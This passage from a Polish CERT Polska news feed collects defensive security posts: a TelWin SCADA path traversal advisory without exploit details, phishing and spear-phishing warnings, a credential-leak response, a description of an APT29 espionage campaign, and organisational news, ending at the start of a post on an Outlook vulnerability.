Przestępcy mogą wywoływać poczucie presji czasu, aby uniknąć niewygodnych pytań, ponieważ ich wiedza o osobie, pod którą się podszywają, jest bardzo ograniczona. Zawsze istnieje przecież "ryzyko", że początkowe zaskoczenie minie i potencjalna ofiara zorientuje się, że ma do czynienia z oszustem. Może też się zdarzyć, że osoba pod którą się podszywają, w końcu albo odpowie na próby kontaktu ze strony rodzica, albo sama napisze z jakiegoś innego powodu. Nie należy jednak tej presji czasu ulegać i warto zapytać dziecko o wiek lub imię, jeśli nie zdradziliśmy go wcześniej. Nawet takie z pozoru proste pytania mogą okazać się bardzo trudne dla oszusta.

Pamiętajmy, że gra na emocjach to wciąż bardzo skuteczny środek do osiągania celów przez cyberprzestępców.

Podatność w module WebInterface oprogramowania Telwin SCADA

2023-08-03T20:00:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł podatność typu Path Traversal w module WebInterface systemu TelWin SCADA firmy TEL-STER sp. z o. o. podatne są następujące wersje: od 3.2 do 6.1, od 7.0 do 7.1, 8.0, 9.0.

Wykryta podatność pozwala na odczyt plików systemowych z uprawnieniami webservera przez dowolną osobę z dostępem sieciowym do aplikacji. Oznacza to możliwość pozyskania plików konfiguracyjnych, kodu źródłowego aplikacji oraz wrażliwych plików systemowych. Do wykorzystania podatności wystarczy wysłanie do serwera odpowiednio spreparowanego żądania typu GET. Nie jest wymagane uwierzytelnianie do aplikacji. Podatność została znaleziona przez pracownika CERT Polska i według posiadanych przez nas informacji nie jest ona jeszcze publicznie znana ani wykorzystywana do ataków. Należy jednak zaznaczyć, że w momencie publikacji informacji o błędzie mogą pojawić się próby wykorzystania podatności, w szczególności na systemach dostępnych z internetu.

Rekomendacje

Upewnienie się, że dostęp sieciowy do aplikacji jest ograniczony do niezbędnego minimum. W szczególności system nigdy nie powinien być wystawiony bezpośrednio do internetu. Jeśli potrzebny jest dostęp zdalny powinno to być zrealizowane za pomocą VPN-a z dwuskładnikowym uwierzytelnianiem.
Aktualizację modułu WebInterface do wersji naprawiającej błąd (6.2, 7.2, 8.1, 9.1, lub 10.0) w najbliższym możliwym terminie. W przypadku używania wersji bez wsparcia dla poprawek zalecamy aktualizację do wersji posiadającej takie wsparcie. Należy zaznaczyć, że moduł jest aktualizowany zazwyczaj razem z główną wersją oprogramowania TelWin SCADA – najnowsza wersja to 7.14. Dodatkowe informacje można znaleźć na stronie producenta.

Lista Ostrzeżeń przed niebezpiecznymi stronami – szkic nowej wersji specyfikacji

2023-08-03T17:00:00+01:00

Nasza Lista Ostrzeżeń obchodziła w tym roku swoje trzecie urodziny. W tym czasie udało nam się ograniczyć skutki wielu różnych kampanii phishingowych celujących w polskich użytkowników Internetu. W odpowiedzi na zmieniający się krajobraz zagrożeń postanowiliśmy wprowadzić parę zmian w działaniu naszej listy, które pozwolą nam lepiej chronić użytkowników. Zapraszamy do zapoznania się z proponowanymi zmianami oraz podzielenia się swoją opinią.

Najważniejsze zmiany

Wszystkie zablokowane przez nas domeny są ważne tylko przez 6 miesięcy. Rozwiąże to problem "pęcznienia" aktualnych list, przy których użytkownik był zmuszany do pobierania coraz to większego pliku w krótkich okresach czasu. Cykl życia większości stron phishingowych trwa tylko parę dni (a w niektórych przypadkach nawet tylko parę godzin), dlatego ograniczenie listy do 6 miesięcy nie będzie miało negatywnego skutku na bezpieczeństwo użytkowników.
Domena może ponownie pojawić się na liście po uprzednim wykreśleniu. Pozwoli nam to na poprawną reakcję na nawracającą kampanię korzystającą z odblokowanych domen.
W celu utrzymania transparentności odnośnie zablokowanych domen wprowadzamy nowy strumień z danymi – "actions.log". Będzie on zawierał listę wszystkich domen dodawanych i usuwanych przez nas na Listę Ostrzeżeń.
Zalecamy blokowanie również wszystkich subdomen zablokowanych domen. Jest to bezpośrednia reakcja na niektóre kampanie phishingowe, które zaczęły korzystać z losowo generowanych subdomen w celu obejścia blokad domen na naszej liście.
Wprowadzamy nowy format list - strefa DNS w postaci listy RPZ. Pozwoli ona na szybszą integrację naszej Listy Ostrzeżeń w serwerach DNS.

Przykładowe listy w nowej wersji

W celu lepszej prezentacji wprowadzanych zmian przygotowaliśmy listy domen w poszczególnych formatach:

Szkic nowej wersji specyfikacji

Pobierz szkic (PDF, 216KB)

Komentarze

Jeśli macie jakiekolwiek pytania odnośnie nowej wersji listy, pomysły na nowe funkcjonalności albo jesteście zainteresowani integracją listy ostrzeżeń w własnej organizacji to zapraszamy do kontaktu na info@cert.pl

CERT Polska będzie współtworzył bazę podatności CVE

2023-08-01T12:00:00+01:00

Od początku sierpnia CERT Polska jako jedyna instytucja w kraju i jeden z 7 CERT-ów w Europie może nadawać numery CVE, które służą identyfikacji i katalogowaniu publicznie ujawnionych podatności.

Działanie na jednolitej bazie podatności znacząco podnosi skuteczność reagowania po stronie firm i instytucji. Potrzebowaliśmy w Polsce organizacji działającej w programie CVE i od dziś ją mamy – podkreśla Sebastian Kondraszuk, kierownik CERT Polska.

Czym jest CVE?

CVE czyli Common Vulnerabilities and Exposures to międzynarodowy program wspierający ujawnianie luk bezpieczeństwa w oprogramowaniu komputerowym. Każda osoba, która znajdzie podatność może zgłosić ją do organizacji będącej CNA, czyli CVE Numbering Authority. Są to organizacje, które oceniają zasadność zgłoszenia, nadają podatnościom numery i dbają o jakość bazy. Od dziś taką właśnie funkcję pełni CERT Polska.

Baza CVE jest publiczna i dostępna za darmo dla każdego. Obecnie jest ona podstawą dla organizacji z całego świata w identyfikacji i śledzeniu informacji o nowych lukach bezpieczeństwa. Lista CVE zasila również amerykańską Narodową Bazę Danych Podatności (NVD), gdzie można przeglądać rekordy CVE w wygodny sposób.

Udział CERT Polska w programie to niezwykle istotny element w planie naszego rozwoju. Jest to także ważny punkt na mapie obowiązków wynikających z Dyrektywy NIS 2 – zaznacza Kondraszuk i dodaje, że status CNA to powód do satysfakcji i potwierdzenie wysokich standardów obsługi tego typu zgłoszeń przez CERT Polska.

Więcej o polityce zgłaszania podatności do CERT Polska i zasadach działania programu CVE można znaleźć na stronie https://cert.pl/cvd/.

Publikacja zbioru wykradzionych danych logowania - co zrobić?

2023-05-31T16:00:00+01:00

W tym tygodniu doszło do publikacji dużego zbioru danych wykorzystywanych do logowania przez polskich użytkowników. W ramach tego wycieku udostępniono ponad milion unikalnych rekordów z loginem oraz hasłem do różnych stron. W związku z tym jednostki odpowiedzialne za cyberbezpieczeństwo w Polsce, w tym CERT Polska, podjeły odpowiednie działania w celu ograniczenia skutków tej sytuacji.

Jak przestępcy uzyskali dostęp do danych logowania

W trakcie analizy zbioru danych, zespół CERT Polska wykazał, że dane znajdujące się w wycieku są złączeniem wielu mniejszych zbiorów pozyskanych przez złośliwe oprogramowanie typu "information stealer".
W związku z tym, przestępcy mogli mieć dostęp zarówno do haseł wpisywanych na klawiaturze i mieli dostęp do danych logowania zapisanych w przeglądarkach czy menedżerach haseł.

Jakie kroki podjął nasz zespół

Oprócz analizy danych znajdujących się w wycieku, nasz zespół podjął się również działań, które miały na celu powiadomienie jak największego grona odbiorców. Udostępniliśmy informacje na temat upublicznionych kont użytkownikom systemu n6 oraz powiadomiliśmy mailowo wiele instytucji, w szczególności administratorów rozpoznawalnych skrzynek pocztowych. Na moment pisania artykułu przesłaliśmy powiadomienia dotyczące ponad miliona unikalnych maili oraz loginów. Dodatkowo udostępniliśmy upublicznione dane portalom HIBP oraz Bezpieczne Dane, które umożliwiają każdemu weryfikację czy dane konto lub email pojawił się w wycieku.

Jak możecie sprawdzić czy Wasze konto znalazło się w wycieku

W związku z dużą skalą wycieku, zachęcamy Was do sprawdzenia, czy Wasze dane znajdują się w upublicznionym zbiorze. Nasz zespół zasilił dwa serwisy internetowe w dane z wycieku, dzięki czemu możecie zweryfikować czy padliście ofiarą tego zdarzenia.

Możecie to zrobić na stronach:

https://bezpiecznedane.gov.pl - serwis stworzony przez COI, który po zalogowaniu poprzez Profil Zaufany umożliwia zweryfikowanie czy dane konto lub email znalazło się w wycieku. Na obecną chwilę w tym serwisie dostępne są dane wyłącznie ze wspomnianego wcześniej incydentu.
https://haveibeenpwned.com - popularny serwis stworzony przez Troya Hunta, który od lat umożliwia zweryfikowanie czy Wasze konto padło ofiarą większych wycieków. Co więcej, strona ta pozwala zweryfikować informacje na temat wycieków odnośnie całej nazwy domeny, co może być użyteczne dla wielu firm, chcących sprawdzić skalę wycieku w swojej organizacji,

Co możecie zrobić, jeżeli Wasze dane są w wycieku (lub chcecie poprawić bezpieczeństwo swojego konta)

Zachęcamy do podjęcia następujących kroków:

Użyjcie programu antywirusowego, żeby sprawdzić bezpieczeństwo swojego komputera. Należy jednak zwrócić uwagę, że antywirusy mogą nie wykryć zagrożenia. Jeżeli zatem zachodzi podejrzenie, że system może być zainfekowany, najlepiej zabezpieczyć najważniejsze dane i przywrócić go do stanu fabrycznego,
Korzystając z zabezpieczonego lub wyczyszczonego komputera zmieńcie hasła do logowania, których używaliście dotychczas.
Ważne! Jeśli do logowania na różnych serwisach wykorzystywaliście to samo hasło, zmieńcie je również na pozostałych stronach! Nie powielajcie też haseł między serwisami!,
Włączcie dodatkowe zabezpieczenie w serwisach, które umożliwiają weryfikację dwuetapową,
Zwróćcie szczególną uwagę na próby logowania na konta, sprawdzajcie alerty przesyłane na adres e-mail.

Instrukcje włączenia wieloskładnikowego uwierzytelniania w najpopularniejszych serwisach można znaleźć na https://cert.pl/2etapy/.

Poradnik na temat mechanizmów logowania i tworzenia dobrych haseł można znaleźć na https://cert.pl/posts/2022/01/kompleksowo-o-haslach/.

Poradnik zabezpieczenia swojej poczty i kont w mediach społecznościowych można znaleźć na https://cert.pl/uploads/docs/CERT_Polska_Bezpieczna_poczta_i_konta_spolecznosciowe.pdf.

Informacje na temat rodzaju złośliwego oprogramowania, które służy do pozyskania danych w tego typu wyciekach można znaleźć na: https://cert.pl/posts/2023/02/information-stealer/.

Informacje na temat najnowszych zagrożeń można znaleźć śledząc profile zespołu CERT Polska na Facebooku albo Twitterze.

Krajobraz bezpieczeństwa polskiego internetu w 2022 roku

2023-05-10T16:00:00+01:00

Pobierz raport (PDF, 12.4MB)

Ubiegły rok w polskiej cyberprzestrzeni możemy podsumować hasłami: znane techniki, nowe okoliczności i wzrost świadomości. Dodatkowo, nie da się ukryć, że na cyberbezpieczeństwo wpływ miała także wojna w Ukrainie. Jak duży był to wpływ? Czego możemy spodziewać się w kolejnych miesiącach w polskiej cyberprzestrzeni i jakie wnioski należy wyciągnąć z ostatnich 12 miesięcy? Odpowiedzi znajdziecie w raporcie rocznym z działalności naszego zespołu.

Wciąż obserwowaliśmy masowe kampanie phishingowe, ale także spoofing numeru telefonu czy przypadki kradzieży tożsamości. Te oparte na sztuczkach socjotechnicznych mechanizmy niezmiennie należały do najpowszechniej wykorzystywanych przez cyberprzestępców. Jednocześnie – dzięki licznym kampaniom edukacyjnym, informacjom prasowym i ostrzeżeniom publikowanym na naszych kanałach w mediach społecznościowych - rosła wiedza o zagrożeniach. Przełożyło się to na rekordową liczbę zgłoszeń. W całym 2022 r. otrzymaliśmy ich ponad 322 tysiące, co przełożyło się na ponad 39 tysięcy obsłużonych incydentów. 65% z nich zaklasyfikowaliśmy jako phishing.

Oprócz przybliżenia najpopularniejszych kampanii cyberprzestępców w raporcie można znaleźć także opisy realizowanych przez nas projektów badawczo-rozwojowych, w tym narzędzi open-source. Warte uwagi są również statystyki dotyczące zgłaszanych incydentów oraz zagrożeń w sieciach polskich operatorów. Swoje miejsce w raporcie znalazły także opisy ataków z wykorzystaniem ransomware oraz działania wykorzystujące motyw "fałszywych inwestycji". Wspierane reklamami w wyszukiwarkach oraz mediach społecznościowych, bardzo dobrze przygotowane strony zachęcały do rzekomo bezpiecznego zainwestowania oszczędności. Pewnym novum były fałszywe inwestycje z wojennym motywem w tle.

Nie jest to jedyny przykład, który pokazuje, że sytuacja za naszą wschodnią granicą wpływała na krajowe cyberbezpieczeństwo. Zdarzenia, które bezpośrednio łączymy z wojną w Ukrainie, to też np. zmasowane ataki typu DDoS na portale instytucji publicznych i istotnych krajowych podmiotów gospodarczych czy pojawienie się fałszywych sklepów z opałem. Tym działaniom zdecydowaliśmy się poświęcić w raporcie cały rozdział.

Nie da się ukryć, że sytuacja międzynarodowa wpływa na cyberprzestrzeń. Oprócz zagrożeń inicjuje jednak też szanse. Taką szansą jest współpraca, zwłaszcza na poziomie operacyjnym. Wierzymy, że kolejny rok przyniesie jej pogłębienie i wymierne efekty w postaci ograniczenia niekorzystnych zjawisk w Internecie.

Zapraszamy do lektury! Kliknij w interesujący Cię artykuł w poniższym spisie treści, aby wyświetlić go w przeglądarce, albo pobierz plik z raportem.

Dwudziesta szósta edycja Secure za nami

2023-04-20T16:15:00+01:00

Dwudziesta szósta edycja Secure za nami. Jakie wnioski możemy z niej wyciągnąć?

„Bezpieczeństwo w dobie zmian” – to hasło przewodnie zakończonej właśnie konferencji Secure;
To wiodące wydarzenie z obszaru cyberbezpieczeństwa zgromadziło w Warszawie ponad 300 uczestników;
Obowiązek wspólnego działania w obliczu cyberzagrożeń to przesłanie, które wybrzmiewało zarówno w wypowiedziach prelegentów, jak i zgromadzonych ekspertów;

Lata temu, kiedy odbywała się pierwsza edycja konferencji cyberbezpieczeństwo rozumieliśmy zupełnie inaczej. Hasłem przewodnim tej edycji jest „bezpieczeństwo w dobie zmian”. Nawiązuje ono bardzo mocno do obecnej sytuacji międzynarodowej, którą uwydatnia wyzwania związane z cyberprzestrzenią oraz koniecznością współpracy w tym obszarze. Znajduje to także odbicie w agendzie naszego wydarzenia – mówił otwierając konferencję dyrektor Adam Marczyński. Wtórował mu dyrektor NASK Wojciech Pawlak, który podkreślał, że postęp technologiczny wymusza na nas wzmożone działania pokrywające się także częściowo z zadaniami, które przed CSIRT NASK stawia ustawa o KSC.

Cyberbezpieczeństwo to nie jest opcja, tylko must have dla każdej firmy i organizacji – mówił podczas pierwszego panelu dotyczącego europejskiego krajobrazu cyberbezpieczeństwa minister cyfryzacji Janusz Cieszyński. Debatę moderował Krzysztof Silicki, a udział w niej wzięli także Uroš Svete oraz Juhan Lepassaar – dyrektor zarządzający Europejskiej Agencji Cyberbezpieczeństwa, który zauważył, że – bardziej widoczne od czasu inwazji na Ukrainę działania haktywistów, nie powinny przesłaniać rosnącego poziomu mniej zgłaszanych i mniej widocznych, ale wciąż pozostających poważnym zagrożeniem, ataków ransomware i cyberszpiegostwa w UE.

Debata o europejskim wymierze cyberbezpieczeństwa stanowiła wprowadzenie do tego co działo się później. Uzupełnieniem do perspektywy międzynarodowej było spojrzenie na grunt polski, a wyjściem do dalszej dyskusji wystąpienie kierownika zespołu CERT Polska Sebastiana Kondraszuka, w którym podsumował obserwacje z roku 2022. Kondraszuk zauważył, że o 178% wzrosła ilość zgłoszeń odebranych przez CERT Polska. – To efekt rozwoju świadomości, ale i postępujących ułatwień dotyczących metod zgłaszania takich zjawisk – mówił. Przedstawił też najpowszechniejsze zagrożenia i wyzwania, które następnie rozwijane były w ramach dwóch ścieżek tematycznych.

Blisko 50 prelegentów omawiało w kolejnych godzinach projekty, wyzwania i zmiany w prawie związane z cyberbezpieczeństwem. Krzysztof Zając z zespołu CERT Polska przybliżał efekty skanowania polskiego internetu narzędziem Artemis i mówił o najczęściej znajdowanych błędach, Paweł Piekutowski z KNF opowiadał o skutkach ataków typu DDoS zaznaczając, że - nie jest dziś pytaniem czy będziemy mieli do czynienia z atakiem DDoS ale kiedy do niego dojdzie. Bartosz Trybus – także z zespołu CERT – brał natomiast udział w dyskusji o skutkach ataków ransomware.

Wydarzeniem towarzyszącym Secure były odbywające się 18 kwietnia warsztaty. Ponad 100 uczestników z podmiotów, które zgodnie z KSC, leżą w zakresie zainteresowania CSIRT NASK szkoliło się m.in. z zapobiegania atakom DNS czy systemu S46 . Mówiliśmy też o narzędziu N6, które jest szczególnie rekomendowane przez zespół CERT Polska. – Zachęcamy do dzielenia się wiedzą i do korzystania z doświadczeń innych – mówił o projekcie prowadzący szkolenie Krzysztof Rydz.

Kolejna konferencja Secure już za rok! Do zobaczenia!

CERT Polska i SKW ostrzegają przed działaniami rosyjskich szpiegów

2023-04-13T13:00:00+02:00

Zespół CERT Polska oraz Służba Kontrwywiadu Wojskowego zaobserwowały kampanię szpiegowską łączoną z działaniami rosyjskich służb specjalnych. Celem kampanii było nielegalne pozyskiwanie informacji z ministerstw spraw zagranicznych oraz placówek dyplomatycznych, w większości znajdujących się w państwach należących do NATO i Unii Europejskiej.

Wiele elementów zaobserwowanej kampanii, takich jak infrastruktura, wykorzystane techniki oraz narzędzia, częściowo lub całkowicie pokrywa się z opisywanymi w przeszłości aktywnościami grupy określanej przez Microsoft mianem „NOBELIUM”, zaś przez Mandiant jako „APT29”. Grupa ta wiązana jest m.in. z kampanią zwaną „SOLARWINDS”, narzędziami „SUNBURST”, „ENVYSCOUT” i „BOOMBOX”, a także licznymi innymi kampaniami o charakterze wywiadowczym.

Działania wykryte oraz opisane przez CERT Polska i SKW wyróżniają się jednak na tle poprzednich wykorzystaniem unikalnego, nieodnotowanego wcześniej publicznie oprogramowania. Nowe narzędzia były używane równolegle i niezależnie od siebie lub też kolejno, zastępując starsze rozwiązania, których skuteczność spadała. Pozwalało to sprawcom na utrzymanie ciągłości działań.

„Zacieśnianie współpracy między krajowymi podmiotami obserwującymi aktywność grup sponsorowanych przez obce państwa jest kluczowe dla bezpieczeństwa Polski. Dzięki bliskiej współpracy analityków CERT Polska i Służby Kontrwywiadu Wojskowego połączono elementy widziane z różnych perspektyw. Dało to efekt w postaci raportu zawierającego analizę nigdy wcześniej nie opisywanych narzędzi i z pewnością przyczyni się do zwiększenia ich wykrywalności” – podkreślił Janusz Cieszyński, Minister Cyfryzacji.

Publikujemy i ostrzegamy

Należy podkreślić, że w momencie publikacji raportu kampania realizowana przez rosyjską grupę wywiadowczą nie tylko nadal trwa, ale ma też charakter rozwojowy. Dlatego CERT Polska oraz SKW rekomendują wszystkim podmiotom, które mogą znajdować się w obszarze zainteresowania tej grupy, wdrożenie mechanizmów mających na celu podniesienie bezpieczeństwa wykorzystywanych systemów informatycznych i zwiększenie wykrywalności ataków. Przykładowe zmiany konfiguracyjne oraz mechanizmy detekcji zostały zaproponowane w rekomendacjach.

Podstawowym celem publikacji raportu jest zatem zakłócenie trwającej kampanii szpiegowskiej oraz umożliwienie wykrycia, analizy oraz śledzenia opisywanych działań zarówno poszkodowanym podmiotom, jak i przedstawicielom branży cyberbezpieczeństwa.

Przebieg obserwowanej kampanii

We wszystkich zaobserwowanych przypadkach sprawcy korzystali z techniki spear phishingu. Do wyselekcjonowanych pracowników placówek dyplomatycznych wysyłane były wiadomości e-mail podszywające się pod ambasady krajów europejskich. Korespondencja zawierała zaproszenie na spotkanie lub do wspólnej pracy nad dokumentami. W treści wiadomości lub w załączonym dokumencie PDF zawarty był link kierujący rzekomo do kalendarza ambasadora, szczegółów spotkania lub pliku do pobrania.

Przykładowa wiadomość email podszywająca się pod polską ambasadę i nakłaniająca do kliknięcia w złośliwy link.

W rzeczywistości odnośnik kierował do przejętej strony, na której umieszczony był charakterystyczny dla tej grupy skrypt. Korzystał on z techniki „HTML Smuggling” – przy jej użyciu złośliwy plik jest odkodowywany w momencie otwarcia strony, a następnie pobierany na urządzenie ofiary. Skrypt wyświetlał również stronę internetową, której treść miała utwierdzić ofiarę w przekonaniu, że pobrała prawidłowy załącznik.

Strona podszywająca się pod polską ambasadę sugerująca możliwość pobrania kalendarza ambasadora.

Sprawcy wykorzystywali różne techniki, aby nakłonić potencjalne ofiary do uruchomienia pobranego złośliwego oprogramowania. Jedną z nich był plik skrótu udający dokument, w rzeczywistości uruchamiający ukrytą bibliotekę DLL. Zaobserwowano również technikę „DLL Sideloading”, polegającą na użyciu podpisanego pliku wykonywalnego do załadowania i wykonania złośliwego kodu zawartego w dołączonej bibliotece DLL. Na późniejszym etapie kampanii nazwa pliku wykonywalnego zawierała dodatkowo wiele spacji, aby utrudnić zauważenie rozszerzenia exe.

Widok po uruchomieniu przez ofiarę pliku obrazu przy domyślnych ustawieniach eksploratora Windows.

Rekomendacje

CERT Polska oraz SKW stanowczo rekomendują wszystkim podmiotom mogącym znajdować się w obszarze zainteresowania rosyjskiej grypy szpiegowskiej wdrożenie zmian, które skutecznie przeciwstawią się mechanizmom dostarczenia używanym w opisywanej kampanii. Sektory, które szczególnie powinny rozważyć wdrożenie zaleceń to:

Podmioty rządowe;
Podmioty dyplomatyczne, ministerstwa spraw zagranicznych, ambasady, personel dyplomatyczny i pracujący w podmiotach międzynarodowych;
Organizacje międzynarodowe;
Organizacje pozarządowe.

Szczegółowe rekomendacje zmian konfiguracyjnych oraz dokładny opis przebiegu kampanii szpiegowskiej znajduje się na stronie https://www.gov.pl/baza-wiedzy/kampania-szpiegowska-wiazana-z-rosyjskimi-sluzbami-specjalnymi.

Kampanie phishingowe na serwisy pocztowe

2023-04-04T15:00:00+01:00

Jednym z najczęstszych zagrożeń dla internautów, obserwowanych przez nasz zespół, pozostaje phishing. Pozornie nieszkodliwe maile, często wzywające do pilnego działania, mogą prowadzić do fałszywych witryn wyłudzających dane.

Schemat działania

Głównym celem sprawców tego oszustwa jest wyłudzenie poufnych informacji (najczęściej danych dostępowych do konkretnej usługi) poprzez podszycie się pod dany podmiot lub osobę. W tym celu przestępcy rozsyłają do potencjalnych ofiar wiadomości mailowe zawierające link do kontrolowanej przez siebie witryny. Należy przy tym podkreślić, że nie ma jednego schematu szkodliwych wiadomości stosowanego przez oszustów - różnice wynikają z wytypowanej grupy będącej celem ataku oraz możliwości technicznych sprawców. Często powtarzający się element to wywieranie presji czasu na odbiorcy poprzez wzywanie go do podjęcia natychmiastowych działań i zwracanie uwagi na nieodwołane, uciążliwe konsekwencje ich zaniechania. Gdy ofiara otworzy link i zaloguje się na podstawionej przez oszustów stronie, wówczas jej dane uwierzytelniające trafią w ręce przestępców, którzy uzyskają w ten sposób dostęp do jej konta. Kolejnym krokiem jest na ogół zmiana hasła dostępowego, co skutkuje odcięciem prawowitego właściciela od konta.

Najczęstszym i najmniej wyrafinowanym schematem, który jest często odnotowywany przez nasz zespół, jest po prostu masowa wysyłka wiadomości phishingowych pod przypadkowe adresy mailowe. Nadawcy bardzo często podszywają się w takich wiadomościach pod administratorów poczty elektronicznej (w nazwie nadawcy) i informują np. o blokadzie konta z tytułu wykrytego naruszenia. Maile tego typu są często napisane bardzo słabą polszczyzną i usiłują imitować oficjalne, automatycznie wygenerowane powiadomienie. Umieszczony w wiadomości link prowadzi do strony internetowej, która prezentuje prosty formularz logowania, niekiedy zawierający wyłącznie pola do podania nazwy użytkownika i hasła (które często nie jest nawet maskowane tzn. widać wprowadzone w nim znaki).

Czasami kampanie tego typu są ukierunkowane na użytkowników konkretnego dostawcy usług. Wówczas fałszywa strona logowania może próbować wzbudzić zaufanie np. poprzez zamieszczony logotyp.

Trzeba jednak pamiętać, że często przestępcy zamiast masowej wysyłki słabo przygotowanych wiadomości phishingowych przygotowują ukierunkowane ataki na użytkowników konkretnych dostawców. Rozsyłane wówczas wiadomości bazują na tych samych schematach - podszywanie się pod administrację i tworzenie presji czasu pod groźbą negatywnych konsekwencji - jednak są już dużo lepiej przygotowane.

Takie wiadomości prowadzą nierzadko do stron, które wizualnie bardzo dobrze imitują prawdziwy panel logowania. Wskazówkę, że może to być phishing stanowią niedziałające elementy interfejsu (takie jak linki „zapomniałem hasła” czy pola „nie wylogowuj mnie”).

Zdarza się, że fałszywe witryny bardzo pieczołowicie odtwarzają rzeczywiste serwisy. Mogą zawierać wszystkie elementy prawdziwej witryny, w tym reklamy oraz powiadomienie o wykorzystywaniu ciasteczek (cookies). Z tego powodu bardzo istotne jest uważne sprawdzanie, czy domena w pasku adresowym zgadza się z rzeczywistym adresem serwisu.

Wiadomości phishingowe mogą być też bardziej zakamuflowane i wyłamywać się z opisanych powyżej schematów. Wówczas treść wiadomości nie odnosi się w żaden sposób do skrzynki pocztowej, lecz odsyła do jakiegoś zasobu, do którego rzekomo prowadzi umieszczony w niej link. Nadawcy mogą w nich podszywać się pod różne firmy lub instytucje, wykorzystując autentyczną stopkę i informować np. o nowej fakturze czy innym dokumencie.

Po kliknięciu w link znajdujący się w wiadomości użytkownik przenoszony jest na witrynę zawierającą prosty panel logowania lub podszywającą się pod konkretnego dostawcę usług. Bardzo często potencjalna ofiara jest informowana, że w celu uzyskania dostępu do danego zasobu konieczna jest autoryzacja (poprzez podanie danych logowania).

Ważne informacje

Twórcy przeglądarek internetowych wkładają wiele wysiłku w izolowanie potencjalnie złośliwych stron internetowych od systemu operacyjnego - w praktyce nie obserwujemy przypadków, by samo wejście na stronę phishingową niosło za sobą negatywne konsekwencje. Dopiero po wprowadzeniu danych do formularza trafiają one w ręce przestępców.

Jak się chronić?

W celu ochrony przed phishingiem warto rozważyć skorzystanie z menadżera haseł i skonfigurować go w taki sposób, aby automatycznie uzupełniał formularz logowania. Wówczas rozróżnienie prawdziwej witryny od fałszywej przejmuje automat, który w tym drugim przypadku nie wypełni formularza logowania.

W przypadku otrzymania wiadomości mailowej należy zwracać szczególną uwagę, czy adres nadawcy nie budzi wątpliwości. Ponadto warto uważnie czytać treść maila - wiadomości oszustów, choć często po polsku, na ogół zawierają liczne błędy językowe i literówki. Przed logowaniem na dowolnej stronie należy sprawdzić, czy jej adres zgadza się z oczekiwaną domeną serwisu. W razie wątpliwości co do prawdziwości otrzymanej wiadomości lub strony internetowej zalecamy powstrzymanie się od podawania jakichkolwiek informacji i kontakt z pomocą techniczną danego dostawcy usług, lub przesłanie zgłoszenia do naszego zespołu za pośrednictwem formularza .

Również włączenie dwuskładnikowego uwierzytelnienia (2FA) może stanowić dodatkową warstwę ochrony przed phishingiem, jednak jest ona skuteczna jedynie przeciwko najbardziej prymitywnym stronom phishingowym, które po prostu nie wyłudzają od użytkownika drugiego składnika. Stosowanie unikalnych, nieschematycznych haseł do poszczególnych serwisów pozwoli natomiast ograniczyć szkody w przypadku, gdy oszustom jednak uda się wyłudzić hasło.

Co zrobić w przypadku, gdy doszło do wyłudzenia danych

Należy jak najszybciej skontaktować się z administratorem danej usługi i poinformować o zaistniałej sytuacji. CERT Polska nie ma możliwości udzielenia pomocy w odzyskaniu przejętego konta, jednak zachęcamy do przesłania zgłoszenia do naszego zespołu za pośrednictwem formularza i przekazanie adresu szkodliwej witryny - umożliwi nam to podjęcie działań w celu zablokowania zagrożenia i ochrony pozostałych internautów.

Ataki spear phishing na pracowników polskich firm i instytucji publicznych

2023-03-21T15:00:00+01:00

Spear phishing jest oszustwem o charakterze socjotechnicznym, wykorzystującym presję autorytetu i czasu, aby skłonić atakowanego do podjęcia niekorzystnego działania. Fakt, że zazwyczaj informacje potrzebne do przeprowadzenia ataku są publicznie dostępne lub łatwe do uzyskania, czyni to oszustwo popularnym wśród cyberprzestępców.

Schemat działania

Najczęstszym wektorem ataku są wiadomości e-mail. Ich treść sugeruje, że zaistniała konieczność natychmiastowej weryfikacji stanu konta lub uaktualnienia danych do przelewu, które w rzeczywistości są numerem konta oszusta. Sprawa może dotyczyć zarówno konta osobistego, jak i konta instytucji, w której pracujemy. Tego typu wiadomości mogą mieć charakter zarówno bardzo ogólnikowy, w postaci niepodpisanego e-maila, jak i być doskonale przygotowaną wiadomością, ze stopką instytucji i podpisem pracownika, najczęściej wysokiego szczebla. Niestety taki rodzaj ataku jest łatwy w przygotowaniu, ponieważ prawie wszystkie potrzebne dane są ogólnodostępne.

Kolejnym wektorem ataku są wiadomość na komunikatorze WhatsApp, gdzie na wstępie atakujący pisząc z obcego numeru, przedstawia się jako rzekomy pracownik i, tłumacząc zmianę numeru awarią czy zgubieniem telefonu, nakłania do podjęcia określonych działań, które mają na celu wyłudzenie pieniędzy.

Skutki oszustwa

Przestępcy w trakcie komunikacji mają zwykle jeden cel - przekonanie nieświadomego pracownika do przelewu pieniędzy na konto oszustów. Warto zauważyć, że jest to zazwyczaj konto zagranicznego banku, co ma utrudnić odzyskanie pieniędzy.

Ważne informacje

E-maile przy tego typu oszustwach mogą przychodzić zarówno z przypadkowych adresów i domen, jak i takich, które są właściwe dla danego podmiotu. W drugim przypadku przestępcy wykorzystują spoofing, czyli podszycie się pod danego adresata, co jest możliwe dzięki słabościom systemów mailowych, w szczególności z powodu błędów konfiguracyjnych dwóch mechanizmów - SPF i DMARC, o których można przeczytać w naszym artykule.

Jak się chronić?

Nie ulegać presji czasu i autorytetu – to właśnie dzięki wpłynięciu na emocje oszuści chcą skłonić ofiarę do szybkiego, nieprzemyślanego działania.
Wprowadzić filtry antyspamowe – chociaż w wielu przypadkach pełne odfiltrowanie takich szkodliwych wiadomości nie będzie możliwe, to oznaczanie wiadomości przychodzących z nieznanych źródeł może wzmóc czujność.
Weryfikować – zweryfikowanie żądania zmiany numeru konta czy wykonania przelewu innymi kanałami niż otrzymana wiadomość pozwoli wykryć próbę oszustwa.

Co zrobić w przypadku, gdy pieniądze zostały przelane oszustom?

W takim przypadku należy:

jak najszybciej skontaktować się z działem bezpieczeństwa w swojej organizacji
zgłosić sprawę do banku, który świadczy usługi firmie albo instytucji
zgłosić sprawę na najbliższym komisariacie Policji

W razie pytań lub wątpliwości zachęcamy do kontaktu z naszym zespołem. Podejrzane wiadomości można nam zgłosić za pomocą formularza na stronie: https://incydent.cert.pl/ lub za pośrednictwem wiadomości e-mail na adres: cert@cert.pl.

Aktywnie wykorzystywana krytyczna podatność w Microsoft Outlook (CVE-2023-23397)

2023-03-14T22:00:00+01:00

Microsoft opublikował informację o krytycznej podatności CVE-2023-23397 w aplikacji Outlook na systemie Windows. Może ona prowadzić do zdalnego przejęcia hasła domenowego, bez interakcji użytkownika.

